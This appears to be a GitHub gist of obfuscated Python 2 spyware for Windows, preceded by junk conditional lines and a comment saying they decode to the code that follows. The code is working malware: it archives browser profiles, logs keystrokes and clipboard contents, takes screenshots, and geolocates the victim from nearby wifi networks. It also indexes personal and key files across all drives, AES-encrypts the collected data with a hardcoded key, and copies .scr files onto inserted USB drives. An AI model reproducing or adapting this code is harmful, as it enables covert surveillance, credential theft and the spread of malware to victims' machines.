if 83-83:zzz
if 43-43:Z2zZZ22
if 99-99:zZ2/z2zzzz2Z2zZ2*l1ll1lIll
if 60-60:z22z22zz
if 20-20:zzz2
if 77-77:ll1ll11ll1II+Il1ll1llll/I111Il1I11l
if 94-94:zzz+l1ll1lIll/Z2zZZ22+ZzZzzz+Il1lII
if 10-10:l111lIIllI111%Il11II%l111lIIllI111/ll11I1l11ll-II1IIl1ll/z2zzzz2Z2zZ2
if 55-55:Il1ll1llll
if 38-38:II1IIl1ll*Il1ll1llll-z2zz2Zzz+Il11II.ll11I1l11ll/Il1lII
if 58-58:Il1lII%l1l.Il11II
if 88-88:Il1lII-z2zz2Zzz
if 69-69:Z2zZZ22%l1ll1lIll%l111lIIllI111-Il1ll1llll.z2zz2Zzz
if 33-33:zzz%z2zzzz2Z2zZ2-l1l.II1IIl1ll-z2zz2Zzz
if 50-50:z2zzzz2Z2zZ2/I1Il1l1IIl1I+Il11II+z2zzzz2Z2zZ2%II1IIl1ll
if 43-43:ZzZzzz*Il1ll1llll%ll11I1l11ll*ll11I1l11ll/Il11II.Il1ll1llll
if 9-9:z2zzzz2Z2zZ2
if 87-87:ll11I1l11ll+z22z22zz%l111lIIllI111/z2zzzz2Z2zZ2
if 32-32:z2zz2Zzz.II1IIl1ll
if 41-41:z2zz2Zzz-l1ll1lIll/Il1lII.I1Il1l1IIl1I*l111lIIllI111
if 51-51:I111Il1I11l
if 83-83:Il1lII-l1l-zzz.Z2zZZ22/I111Il1I11l
if 77-77:l1ll1lIll/l111lIIllI111*zZ2*Il11II%I1Il1l1IIl1I-Il11II
if 19-19:z22z22zz/l111lIIllI111.Il11II.z2zzzz2Z2zZ2.II1IIl1ll*l1l
if 22-22:Il11II.l1l
if 98-98:ll11I1l11ll
if 22-22:z22z22zz
if 87-87:zzz2.z2zzzz2Z2zZ2%Il11II-I111Il1I11l-l111lIIllI111/z2zzzz2Z2zZ2
if 92-92:Il11II
if 100-100:zZ2%z2zz2Zzz
if 27-27:ll1ll11ll1II/Il1ll1llll.ZzZzzz*zzz2%ll11I1l11ll%zzz2
if 87-87:Z2zZZ22
if 69-69:Il+ll1ll11ll1II%I1Il1l1IIl1I*l1ll1lIll*l1l
if 8-8:zZ2
if 93-93:l1ll1lIll-ll11I1l11ll-I1Il1l1IIl1I-Z2zZZ22/ll1ll11ll1II
if 73-73:I111Il1I11l+ZzZzzz%z2zzzz2Z2zZ2.zzz2
if 24-24:Il1ll1llll%Il1ll1llll%l111lIIllI111%Il1ll1llll
if 91-91:z22z22zz
if 21-21:I111Il1I11l/z2zzzz2Z2zZ2+ll1ll11ll1II%Il1ll1llll
if 7-7:II1IIl1ll
if 78-78:ZzZzzz%l1l/l1ll1lIll%I1Il1l1IIl1I-Il
if 69-69:Il1lII%l111lIIllI111+I111Il1I11l+I1Il1l1IIl1I
if 56-56:Il1lII
if 52-52:Il11II/ll11I1l11ll.l1l
if 75-75:l1ll1lIll.l1ll1lIll*l1ll1lIll/l1ll1lIll.zzz
if 59-59:I111Il1I11l-ll1ll11ll1II*z22z22zz%Il1ll1llll.l111lIIllI111/l111lIIllI111
if 53-53:zzz
if 83-83:z22z22zz.I1Il1l1IIl1I/Il1lII
if 16-16:l1ll1lIll
if 7-7:l111lIIllI111.l1l+Z2zZZ22/I1Il1l1IIl1I%Il1ll1llll*II1IIl1ll
## after removing junk conditionals decodes to:
try:
import subprocess
from encodings import hex_codec
import re,urllib2,os
import json as simplejson
import json
except Exception,llIll1Il:
print llIll1Il
try:
import pyHook,pythoncom,time,sys
import os,thread,threading,shutil,string,random,struct
import base64
from Crypto import Random
from Crypto.Cipher import AES
from ctypes import*
except Exception,llIll1Il:
print llIll1Il
try:
import win32clipboard
except Exception,llIll1Il:
print llIll1Il
try:
import win32file
except Exception,llIll1Il:
print llIll1Il
try:
import win32com.client
except Exception,llIll1Il:
pass
try:
import win32ui
except Exception,llIll1Il:
print llIll1Il
try:
import win32con
except Exception,llIll1Il:
print llIll1Il
try:
from PIL import ImageGrab
except Exception,llIll1Il:
pass
try:
import win32api
except Exception,llIll1Il:
print llIll1Il
try:
import win32gui
except Exception,llIll1Il:
print llIll1Il
try:
I1lIl11=os.getenv('APPDATA')
except Exception,llIll1Il:
print llIll1Il
try:
ll1llllIIl=(I1lIl11+"\\Chrome\\")
z22=(ll1llllIIl+"Google\\")
Z2Zz22=(z22+"Winde\\")
l1=(z22+"Loc\\")
lI=(I1lIl11+"\\Gchrome\\")
except Exception,llIll1Il:
print llIll1Il
try:
shutil.get_archive_formats()
shutil.make_archive((os.path.expanduser('~')+"\AppData\Roaming\\Chrome\\Google\\Winde\\FIREPERF"),"zip",(os.path.expanduser('~')+"\AppData\Roaming\Mozilla\Firefox\Profiles"))
except Exception,llIll1Il:
pass
try:
shutil.get_archive_formats()
shutil.make_archive((os.path.expanduser('~')+"\AppData\Roaming\\Chrome\\Google\\Winde\\CRHOMEPER"),"zip",(os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"))
except Exception,llIll1Il:
pass
def I1IIll1(fer1):
try:
(ZZzz2,Zz22222zZ)=fer1.split(": ")
l1ll1lII1ll=Zz22222zZ.replace("%",",")
l11ll=l1ll1lII1ll.replace(" ","")
I1l1I1I11lI=l11ll.replace("\n","")
I111l=open(z22+"maw",'a')
I111l.write(I1l1I1I11lI)
I111l.close()
except Exception,llIll1Il:
print llIll1Il
def Z2zZzz(fer1):
try:
(ZZzz2,Zz22222zZ)=fer1.split(": ")
l1ll1lII1ll=Zz22222zZ.replace("%",",")
l11ll=l1ll1lII1ll.replace(" ","")
I1l1I1I11lI=l11ll.replace("\n","")
I111l=open(z22+"maw",'a')
I111l.write(I1l1I1I11lI+",")
I111l.close()
except Exception,llIll1Il:
print llIll1Il
def z2(fer2):
try:
(z22ZzZZzzzz2Z,zz)=fer2.split(": ")
I1l1I1I11lI=zz.replace(" ","")
IIIl1Il11II=I1l1I1I11lI.replace("\n",",")
I111l=open(z22+"maw",'a')
I111l.write(IIIl1Il11II)
I111l.close()
except Exception,llIll1Il:
print llIll1Il
def zzz2zzz2Z2zz():
try:
IlllIl111=open(z22+'wifi','w+')
subprocess.call(['netsh','wlan','show','networks','mode=bssid'],stdout=IlllIl111,shell=True)
subprocess.call(['netsh','wlan','show','interfaces'],stdout=IlllIl111,shell=True)
IlllIl111.close()
except Exception,llIll1Il:
pass
try:
if os.path.exists(z22+"maw"):
os.remove(z22+"maw")
except Exception,llIll1Il:
pass
try:
Il11lIllll1=open(z22+"wifi")
for zZ2Z in Il11lIllll1:
try:
(IlzzZzZZ2Zz,ZZ22)=zZ2Z.split("BSSID")
(I1ll1Il,lI1l)=ZZ22.split(": ")
ZZZzZ2zz=lI1l.replace("\n",",")
I111l=open(z22+"maw",'a')
I111l.write(ZZZzZ2zz)
I111l.close()
except Exception,llIll1Il:
pass
I111l=open(z22+"maw",'a')
I111l.write("\n")
I111l.close()
Il11lIllll1=open(z22+"wifi")
for zZ2Z in Il11lIllll1:
try:
(l1lI111IIII,l1l1II)=zZ2Z.split('Signal')
try:
I1IIll1(l1l1II)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
try:
(l1lI111IIII,l1l1II)=zZ2Z.split("al")
(ZZzz2,Zz22222zZ)=l1l1II.split("%")
try:
Z2zZzz(ZZzz2)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
I111l=open(z22+"maw",'a')
I111l.write("\n")
I111l.close()
Il11lIllll1=open(z22+"wifi")
for zZ2Z in Il11lIllll1:
try:
(zZzz2Zz2z2ZzZ,Z22zZZZ)=zZ2Z.split("Canal")
try:
z2(Z22zZZZ)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
try:
(zZzz2Zz2z2ZzZ,Z22zZZZ)=zZ2Z.split("Channel")
try:
z2(Z22zZZZ)
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
except Exception,llIll1Il:
pass
try:
Zzzz="https://location.services.mozilla.com/v1/geolocate?key=test"
with open(z22+"maw","r")as z22ZZ22:
Zz2Z2=z22ZZ22.readlines()
Ill1l=Zz2Z2[0].split(",")
l1l1II=Zz2Z2[1].split(",")
Z22zZZZ=Zz2Z2[2].split(",")
I1l1l11IlII=Ill1l[:-1]
lI1lIlII1I=list(l1l1II[:-1])
Zz22zZ2Z22z2Z=Z22zZZZ[:-1]
print "[+] Creating HTML request"
Zz2ZZ2z2Z2={"wifiAccessPoints":[]}
for lIll in range(len(I1l1l11IlII)):
I111l=I1l1l11IlII[lIll]
zzZ2Z2Z2=lI1lIlII1I[lIll]
I1l={"macAddress":I1l1l11IlII[lIll],"signalStrength":(int(lI1lIlII1I[lIll]))}
Zz2ZZ2z2Z2["wifiAccessPoints"].append(I1l)
print "POSTING to %s"%Zzzz
ll1IlII=json.dumps(Zz2ZZ2z2Z2,sort_keys=True,indent=4,separators=(',',': '))
print "[+] Sending the request to Google"
ZzzZzZzz=urllib2.urlopen(Zzzz,ll1IlII).read()
z2Z2Zz2ZZZ2=simplejson.loads(ZzzZzZzz)
print ll1IlII
z2Zz22="http://maps.google.com/maps?q="+str(z2Z2Zz2ZZZ2["location"]["lat"])+","+str(z2Z2Zz2ZZZ2["location"]["lng"])
II1I11l=Zzzz+str(z2Z2Zz2ZZZ2["location"]["lat"])+","+str(z2Z2Zz2ZZZ2["location"]["lng"])
except Exception,llIll1Il:
print llIll1Il
try:
from time import strftime
try:
I1lIl11=os.getenv('APPDATA')
except Exception,llIll1Il:
print llIll1Il
Zzz2z2zzzz2zz=I1lIl11+"\\Chrome\\Google\\Winde\\GEO-"+str(strftime("%d-%m-%Y-%H-%M-%S"))+".txt"
except Exception,llIll1Il:
print llIll1Il
try:
z22ZZ22=open(z22+'wifi','r')
zzZzZzzz=z22ZZ22.read()
z22ZZ22.close()
I111l=open(Zzz2z2zzzz2zz,'w')
I111l.write(z2Zz22)
I111l.write('\n'+zzZzZzzz)
I111l.close()
except Exception,llIll1Il:
print llIll1Il
try:
from time import strftime
Z2="Cder-"+str(strftime("%d-%m-%Y-%H-%M-%S"))
ImageGrab.grab().save(ll1llllIIl+"/"+Z2,"JPEG")
except Exception,llIll1Il:
print llIll1Il
try:
lI1=str(ll1llllIIl)
except Exception,llIll1Il:
pass
else:
try:
for ZzzZZ in os.listdir(lI1):
try:
(zzZzZZZZ22,llIIlIII1I1Il)=os.path.splitext(ZzzZZ)
except Exception,llIll1Il:
print llIll1Il
else:
if llIIlIII1I1Il==".scr" or ZzzZZ=="Google":
pass
else:
try:
ZZz2zzz22=string.ascii_lowercase
Z22Z222zzzZ=13
lIl1llIlI1I=ZZz2zzz22[Z22Z222zzzZ:]+ZZz2zzz22[0:Z22Z222zzzZ]
ZZ2=string.maketrans(ZZz2zzz22,lIl1llIlI1I)
IIl1=str(ZzzZZ)
if ZzzZZ=="Hser":
from time import strftime
IIl1=(str(strftime("%d-%m-%Y-%H-%M-%S-"))+ZzzZZ+".htm")
if ZzzZZ[:4]=="Cder":
IIl1=(ZzzZZ+".jpeg")
z2ZZZZ2Zzz2=IIl1.translate(ZZ2)
I1I1ll1l="@3Hse5OrD@*%=Ad8"
Zzz2=(ll1llllIIl+"\\"+ZzzZZ)
IIIll1lll1Il=(Z2Zz22+z2ZZZZ2Zzz2)
except Exception,llIll1Il:
print llIll1Il
try:
def I1(key,in_filename,out_filename=None,chunksize=64*1024):
I1I1=''.join(chr(random.randint(0,0xFF))for i in range(16))
lIlIl=AES.new(key,AES.MODE_CBC,I1I1)
l1IIlI11l=os.path.getsize(in_filename)
with open(in_filename,'rb')as lI1II1lIIl11l:
with open(out_filename,'wb')as IIl1l:
IIl1l.write(struct.pack('<Q',l1IIlI11l))
IIl1l.write(I1I1)
while True:
Il1l=lI1II1lIIl11l.read(chunksize)
if len(Il1l)==0:
break
elif len(Il1l)%16!=0:
Il1l+=' '*(16-len(Il1l)%16)
IIl1l.write(lIlIl.encrypt(Il1l))
I1(I1I1ll1l,Zzz2,IIIll1lll1Il)
try:
os.remove(ll1llllIIl+"\\"+ZzzZZ)
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
def I111Illlll():
try:
zzzZ=os.listdir(l1)
zzzZ.reverse()
from datetime import date
Il11I=date.today()
except Exception,llIll1Il:
print llIll1Il
else:
try:
I111l=2
for zzz2ZZZ2Z in range(len(zzzZ)):
if str(Il11I.year)==str(zzzZ[zzz2ZZZ2Z]):
return zzz2ZZZ2Z
if I111l==2:
ZzZ22zzz2()
except Exception,llIll1Il:
print llIll1Il
def ZzZ22zzz2():
try:
try:
ZZ2Il1ll=os.listdir(l1)
for zzz2ZZZ2Z in range(len(ZZ2Il1ll)):
try:
os.remove(l1+str(ZZ2Il1ll[zzz2ZZZ2Z]))
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
z222z2z2z=win32api.GetLogicalDriveStrings()
z222z2z2z=z222z2z2z.split('\000')[:-1]
z222z2z2z.reverse()
I111I1I1l=str(z222z2z2z)
for Z2Zzzzz2z in I111I1I1l:
zZZzZ='%c:\\'%(Z2Zzzzz2z)
I1l1lIIIIlII=win32file.GetDriveType(zZZzZ)
if I1l1lIIIIlII==win32file.DRIVE_FIXED or I1l1lIIIIlII==win32file.DRIVE_REMOVABLE:
zZZzZ
z2Zz=zZZzZ[:1]
def ZZZz(dirname=zZZzZ,extension="."):
for lIlI11111I,zzzz2z2,II11 in os.walk(dirname):
try:
for zzZZ2zzZ2 in II11:
z2ZZZZ=os.path.join(lIlI11111I,zzZZ2zzZ2)
try:
Z22z2=lIlI11111I.split('\\')
try:
Ilzzz=Z22z2[3]
except:
Ilzzz="none"
if Z22z2[1]=="Program Files" or Ilzzz=="AppData" or Z22z2[1]=="Program Files (x86)" or Z22z2[1]=="Windows.old" or Z22z2[1]=="ProgramData" or Z22z2[1]=="Windows" or Z22z2[1]=="Archivos de programa" or Z22z2[1]=="WINDOWS":
pass
else:
try:
(I1I1IlIl,ll1l1l1l11l1)=os.path.splitext(zzZZ2zzZ2)
except Exception,llIll1Il:
print llIll1Il
try:
if ll1l1l1l11l1==".doc" or ll1l1l1l11l1==".docx" or ll1l1l1l11l1==".xls" or ll1l1l1l11l1==".xlsx" or ll1l1l1l11l1==".ppt" or ll1l1l1l11l1==".pptx" or ll1l1l1l11l1==".jpg" or ll1l1l1l11l1==".db" or ll1l1l1l11l1==".mdb" or ll1l1l1l11l1==".pgp" or ll1l1l1l11l1==".skr" or ll1l1l1l11l1==".pkr" or ll1l1l1l11l1==".asc" or ll1l1l1l11l1==".gpg" or ll1l1l1l11l1==".drw" or ll1l1l1l11l1==".lpt" or ll1l1l1l11l1==".shp" or ll1l1l1l11l1==".rte" or ll1l1l1l11l1==".sda" or ll1l1l1l11l1==".odp" or ll1l1l1l11l1==".sxi" or ll1l1l1l11l1==".odt" or ll1l1l1l11l1==".sxw" or ll1l1l1l11l1==".ods" or ll1l1l1l11l1==".sxc" or ll1l1l1l11l1==".odg" or ll1l1l1l11l1==".sxd" or ll1l1l1l11l1==".odb" or ll1l1l1l11l1==".odf" or ll1l1l1l11l1==".sxm":
II=time.ctime(os.path.getmtime(z2ZZZZ))
zzzzz2=II.split(' ')
z222=len(zzzzz2)
try:
z22ZZ22=open(l1+zzzzz2[z222-1],"a")
except Exception,llIll1Il:
z22ZZ22=open(l1+zzzzz2[z222-1],"w")
z22ZZ22.write(z2ZZZZ+" === "+zzZZ2zzZ2+ll1l1l1l11l1+'\n')
z22ZZ22.close()
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
ZZZz()
except Exception,llIll1Il:
print llIll1Il
Zz22={8:'(bksp)',9:'(tab)',13:'(Enter)',19:'(Paus)',20:'(BMayus)',27:'(ESC)',32:'(Barr-espa)',33:'(pag-up)',34:'(pag-dn)',35:'(END)',36:'(home)',37:'(Fle-Iz)',38:'(Fle-Arr)',39:'(Fle-Der)',40:'(Fle-Aba)',44:'(Prt-Scr)',45:'(INSET)',46:'(Desjr)',48:'0',49:'1',50:'2',51:'3',52:'4',53:'5',54:'6',55:'7',56:'8',57:'9',64:'@',65:'a',66:'b',67:'c',68:'d',69:'e',70:'f',71:'g',72:'h',73:'i',74:'j',75:'k',76:'l',77:'m',78:'n',79:'o',80:'p',81:'q',82:'r',83:'s',84:'t',85:'u',86:'v',87:'w',88:'x',89:'y',90:'z',91:'(Win-Izq)',92:'(Win-Dcha)',93:'(App)',96:'(#0)',97:'(#1)',98:'(#2)',99:'(#3)',100:'(#4)',101:'(#5)',102:'(#6)',103:'(#7)',104:'(#8)',105:'(#9)',106:'#(*)',107:'#(+)',109:'#(-)',110:'#(.)',111:'#(/)',112:'(F1)',113:'(F2)',114:'(F3)',115:'(F4)',116:'(F5)',117:'(F6)',118:'(F7)',119:'(F8)',120:'(F9)',121:'(F10)',122:'(F11)',123:'(F12)',144:'(Bloq#)',145:'(scrolllock)',160:'(Shitf-Izq)',161:'(Shitf-Der)',162:'(CTRL-Izq)',163:'(CTRL-Der)',164:'(ALT-Izq)',165:'(ALT-Dcha)',186:';',187:'=',188:',',189:'-',190:'.',191:'/',192:'~',219:'[',220:'\\',221:']',222:"'"}
class z2Z22ZZz2zzz():
try:
f=open(ll1llllIIl+'\\Hser',"a")
except Exception,e:
try:
f=open(ll1llllIIl+'\\Hser',"w")
except Exception,e:
pass
try:
f.write('</font></b><br><b><font color="#00F">--------------</font></b><br>')
except Exception,e:
print e
try:
f.write('</font></b><br><b><font color="#00F"> Date: '+time.asctime()+"</font></b><br>")
except Exception,e:
print e
try:
f.close()
except Exception,e:
print e
def onApp(self,appname):
try:
try:
self.f=open(ll1llllIIl+'\\Hser',"a")
except Exception,llIll1Il:
self.f=open(ll1llllIIl+'\\Hser',"w")
if appname!=self.app:
try:
self.app=appname
self.f.write('</font</b><br><b><font color="#00F">-----------------</font></b><br>')
except Exception,llIll1Il:
print llIll1Il
try:
self.f.write('</font></b><br><font color="#00F">Date: '+time.asctime()+'</font><br><b>Winw:'+self.app+'</b>:<br><font color="#FF0000"><b>')
except Exception,llIll1Il:
print llIll1Il
try:
sys.stdout.write('</font><br><br><b><font color="#00F">Date: '+time.asctime()+'</font></b><br><b>Winw: '+self.app+':</b><br><b><font color="#FF0000"><b>')
except Exception,llIll1Il:
print llIll1Il
try:
self.f.close()
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
def onKeyboardEvent(self,event):
try:
Il11l1ll1=event.KeyID
l1l1ll11I1IlI=event.Ascii
try:
self.onApp(event.WindowName)
except Exception,llIll1Il:
print llIll1Il
try:
self.f=open(ll1llllIIl+'\\Hser',"a")
except Exception,llIll1Il:
self.f=open(ll1llllIIl+'\\Hser',"w")
if((Il11l1ll1 in range(48,91))or(Il11l1ll1 in range(96,112))or(Il11l1ll1 in range(186,223))or(Il11l1ll1==32)):
try:
sys.stdout.write(chr(l1l1ll11I1IlI))
except Exception,llIll1Il:
print llIll1Il
try:
self.f.write(chr(l1l1ll11I1IlI))
except Exception,llIll1Il:
print llIll1Il
if Il11l1ll1==8:
sys.stdout.write('\b\x00\x00\b')
self.f.write('</font></b><font color="#000">[DEL]</font><b><font color="#FF0000">')
if(Il11l1ll1==9):
sys.stdout.write('\t')
self.f.write('</font></b><br><font color="#FF0000">\t<b>')
if(Il11l1ll1==13):
sys.stdout.write('\t|')
self.f.write('</font></b><br><font color="#FF0000">\t|<b>')
elif((Il11l1ll1 not in range(48,91))and(Il11l1ll1 not in range(96,112))and(Il11l1ll1 not in range(160,162))and(Il11l1ll1 not in range(186,223))and(Il11l1ll1!=32)and(Il11l1ll1!=8)and(Il11l1ll1!=9)and(Il11l1ll1!=13)):
try:
sys.stdout.write("[%s]"%(Zz22[Il11l1ll1]))
self.f.write('</b></font></b><font color="#000">'+"[%s]"%(Zz22[Il11l1ll1])+'</font><b><font color="#FF0000">')
except Exception,llIll1Il:
sys.stdout.write("[%d]"%(Il11l1ll1))
self.f.write("[%d]"%(Il11l1ll1))
print "[%d]"
self.f.close()
return True
except Exception,llIll1Il:
print llIll1Il
def __init__(self):
try:
self.app=''
except Exception,llIll1Il:
print llIll1Il
def z2Z():
try:
win32clipboard.OpenClipboard()
except Exception,llIll1Il:
print llIll1Il
try:
IIl1=win32clipboard.GetClipboardData(win32con.CF_TEXT)
except Exception,llIll1Il:
IIl1=""
try:
win32clipboard.CloseClipboard()
except Exception,llIll1Il:
print llIll1Il
return IIl1
class z2ZZ2ZZ222(object):
def __init__(self):
try:
self.hPrev=0
self.first=True
self.win=win32ui.CreateFrame()
self.win.CreateWindow(None,'',win32con.WS_OVERLAPPEDWINDOW)
self.win.HookMessage(self.OnDrawClipboard,win32con.WM_DRAWCLIPBOARD)
self.win.HookMessage(self.OnChangeCBChain,win32con.WM_CHANGECBCHAIN)
self.win.HookMessage(self.OnDestroy,win32con.WM_DESTROY)
try:
self.hPrev=win32clipboard.SetClipboardViewer(self.win.GetSafeHwnd())
except win32api.error,I1lllIl111lI:
if win32api.GetLastError()==0:
print llIll1Il
else:
raise
except Exception,llIll1Il:
print llIll1Il
def OnChangeCBChain(self,*args):
try:
z2z22z,Z2ZZ222Zz2Z,Z2z2=args[-1][1:4]
if self.hPrev==Z2ZZ222Zz2Z:
self.hPrev=Z2z2
if self.hPrev:
win32api.SendMessage(self.hPrev,z2z22z,Z2ZZ222Zz2Z,Z2z2)
except Exception,llIll1Il:
print llIll1Il
def OnDrawClipboard(self,*args):
try:
z2z22z,Z2ZZ222Zz2Z,Z2z2=args[-1][1:4]
if self.first:
self.first=False
else:
zzzzz2=z2Z()
I1IlI1I1=win32gui
zZ2Zz22Z22=I1IlI1I1.GetWindowText(I1IlI1I1.GetForegroundWindow())
zZzZ2z2=open(ll1llllIIl+"\\Hser","a")
zZzZ2z2.write('<br /><b><font color="#00F">------------------</font><br />')
zZzZ2z2.write('<font color="#00F">Date: '+time.asctime()+"</font><br />")
zZzZ2z2.write("<strong>Windows: "+zZ2Zz22Z22+'</strong><br /')
zZzZ2z2.write('<br /><b><font color="#00F">------------------------</font><br />')
try:
zZzZ2z2.write('<strong><font color="#FF0000">'+zzzzz2+'</font></strong><br /><b><br />')
except Exception,llIll1Il:
print llIll1Il
zZzZ2z2.close()
if self.hPrev:
win32api.SendMessage(self.hPrev,z2z22z,Z2ZZ222Zz2Z,Z2z2)
except Exception,llIll1Il:
print llIll1Il
def OnDestroy(self):
try:
if self.hPrev:
win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(),self.hPrev)
else:
win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(),0)
except Exception,llIll1Il:
print llIll1Il
try:
z2l1lIll1IlIII=0x8000
I1IlII1l=0x8001
IIl1I11I1I1=0x8002
Zz22ZZz2z=0x8003
ZZz2=0x8004
l1lllllllII=0x8005
l1IIII11l11=0x0018
lII11II1l1lI=0x00000000
zZzZZZ2Z2=0x00000001
zZ2Zz2ZzZ2zZ2=0x00000002
zzZz2ZZZzZZ2=0x00000003
l11llI1=0x00000004
Illll=0x0001
lIlI1II1l11l=0x0002
l1l11llI1III1=c_ushort
z222Z22Z2Zz=c_ulong
class lIII1ll1(Structure):
_fields_=[("dbch_size",z222Z22Z2Zz),("dbch_devicetype",z222Z22Z2Zz),("dbch_reserved",z222Z22Z2Zz)]
class lI1l1I1I(Structure):
_fields_=[("dbcv_size",z222Z22Z2Zz),("dbcv_devicetype",z222Z22Z2Zz),("dbcv_reserved",z222Z22Z2Zz),("dbcv_unitmask",z222Z22Z2Zz),("dbcv_flags",l1l11llI1III1)]
def l11l(mask):
Il11I111I=0
while 1:
if(mask&(2**Il11I111I)):return Il11I111I
else:Il11I111I+=1
class l1l1lI:
def __init__(self):
Il11IIlI={win32con.WM_DEVICECHANGE:self.onDeviceChange}
z2Z2Z2z=win32gui.WNDCLASS()
Z222Zzzzz22zz=z2Z2Z2z.hInstance=win32api.GetModuleHandle(None)
z2Z2Z2z.lpszClassName="DeviceChangeDemo"
z2Z2Z2z.style=win32con.CS_VREDRAW|win32con.CS_HREDRAW;
z2Z2Z2z.hCursor=win32gui.LoadCursor(0,win32con.IDC_ARROW)
z2Z2Z2z.hbrBackground=win32con.COLOR_WINDOW
z2Z2Z2z.lpfnWndProc=Il11IIlI
ll1IlI1ll=win32gui.RegisterClass(z2Z2Z2z)
lIl=win32con.WS_OVERLAPPED|win32con.WS_SYSMENU
self.hwnd=win32gui.CreateWindow(ll1IlI1ll,"Device Change Demo",lIl,0,0,win32con.CW_USEDEFAULT,win32con.CW_USEDEFAULT,0,0,Z222Zzzzz22zz,None)
def onDeviceChange(self,hwnd,msg,wparam,lparam):
zZ22z2Zzz=lIII1ll1.from_address(lparam)
if wparam==z2l1lIll1IlIII:
Zz2zZz2Zzz=lI1l1I1I.from_address(lparam)
if zZ22z2Zzz.dbch_devicetype==zZ2Zz2ZzZ2zZ2:
II111lI1111=l11l(Zz2zZz2Zzz.dbcv_unitmask)
Z22z222ZZ22zz=(chr(ord("A")+II111lI1111)+":\\")
try:
try:
III1=os.path.join(lI)
os.chdir(III1)
llIIII=0
Z2Zzzzz2z={}
lIlIlZ2ZzzZZzZz=""
except Exception,llIll1Il:
print llIll1Il
try:
for II1 in os.listdir(III1):
l1lI11ll1=os.path.splitext(II1)[1]
if l1lI11ll1==".scr":
try:
shutil.copy(lI+II1,Z22z222ZZ22zz+"\\"+II1)
except:
pass
except Exception,llIll1Il:
print llIll1Il
try:
def ZzZz2(dirname=Z22z222ZZ22zz,extension="."):
for lIlI11111I,zzzz2z2,II11 in os.walk(dirname):
for ZzZZz in II11:
I111I=os.path.join(lIlI11111I,ZzZZz)
try:
(zzZZ22ZzZ2z,z22Zz)=os.path.splitext(ZzZZz)
except Exception,llIll1Il:
print llIll1Il
try:
if z22Zz==".zip" or z22Zz==".rar" or z22Zz==".jpg" or z22Zz==".doc" or z22Zz==".docx" or z22Zz==".xls" or z22Zz==".xlsx" or z22Zz==".bb" or z22Zz==".pdf" or z22Zz==".idp" or z22Zz==".ppt" or z22Zz==".pptx" or z22Zz==".db" or z22Zz==".mdb" or z22Zz==".skr" or z22Zz==".pkr" or z22Zz==".asc" or z22Zz==".gpg" or z22Zz==".drw" or z22Zz==".lpt" or z22Zz==".shp" or z22Zz==".rte" or z22Zz==".sda" or z22Zz==".odp" or z22Zz==".sxi" or z22Zz==".odt" or z22Zz==".sxw" or z22Zz==".ods" or z22Zz==".sxc" or z22Zz==".odg" or z22Zz==".sxd" or z22Zz==".odb" or z22Zz==".odf" or z22Zz==".sxm":
try:
zz2222zZ=str(ZzZZz)
l11=string.maketrans("ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz","NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
zz2zzZzzz2Z=string.translate(zz2222zZ,l11)
lll1ll111lI1="@3Hse5OrD@*%=Ad8"
Zz2ZzzZZz2Zz=str(I111I)
ZzzZZ2zZzZzzZ=str(Z2Zz22+"HFO- "+zz2zzZzzz2Z)
except Exception,llIll1Il:
print llIll1Il
try:
def I11(key,in_filename,out_filename=None,chunksize=64*1024):
I1I1=''.join(chr(random.randint(0,0xFF))for i in range(16))
lIlIl=AES.new(key,AES.MODE_CBC,I1I1)
l1IIlI11l=os.path.getsize(in_filename)
with open(in_filename,'rb')as lI1II1lIIl11l:
with open(out_filename,'wb')as IIl1l:
IIl1l.write(struct.pack('<Q',l1IIlI11l))
IIl1l.write(I1I1)
while True:
Il1l=lI1II1lIIl11l.read(chunksize)
if len(Il1l)==0:
break
elif len(Il1l)%16!=0:
Il1l+=' '*(16-len(Il1l)%16)
IIl1l.write(lIlIl.encrypt(Il1l))
I11(lll1ll111lI1,Zz2ZzzZZz2Zz,ZzzZZ2zZzZzzZ)
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
ZzZz2()
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
return 1
except Exception,llIll1Il:
print llIll1Il
class IllIllIlI1IllI1(threading._Timer):
def __init__(self,*args,**kwargs):
threading._Timer.__init__(self,*args,**kwargs)
self.setDaemon(True)
def run(self):
while True:
self.finished.clear()
self.finished.wait(self.interval)
if not self.finished.isSet():
self.function(*self.args,**self.kwargs)
else:
return
self.finished.set()
class I1IIl(object):
ops=[]
def add_operation(self,operation,interval,args=[],kwargs={}):
I11zZ2=IllIllIlI1IllI1(interval,operation,args,kwargs)
self.ops.append(I11zZ2)
thread.start_new_thread(I11zZ2.run,())
def stop(self):
for I11zZ2 in self.ops:
I11zZ2.cancel()
self._event.set()
if __name__=='__main__':
try:
I1IllIIl11I=I1IIl()
I1IllIIl11I.add_operation(zzz2zzz2Z2zz,300)
except Exception,llIll1Il:
print llIll1Il
try:
Ill=threading.Timer(60.0,I111Illlll)
Ill.start()
except Exception,llIll1Il:
print llIll1Il
try:
z2ZZ2ZZ222()
l1l1lI()
except Exception,llIll1Il:
print llIll1Il
try:
l1IlI11=z2Z22ZZz2zzz()
ZZZ2Zzz2=pyHook.HookManager()
ZZZ2Zzz2.KeyDown=l1IlI11.onKeyboardEvent
ZZZ2Zzz2.HookKeyboard()
pythoncom.PumpMessages()
except Exception,llIll1Il:
print llIll1Il
while True:
time.sleep(.1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment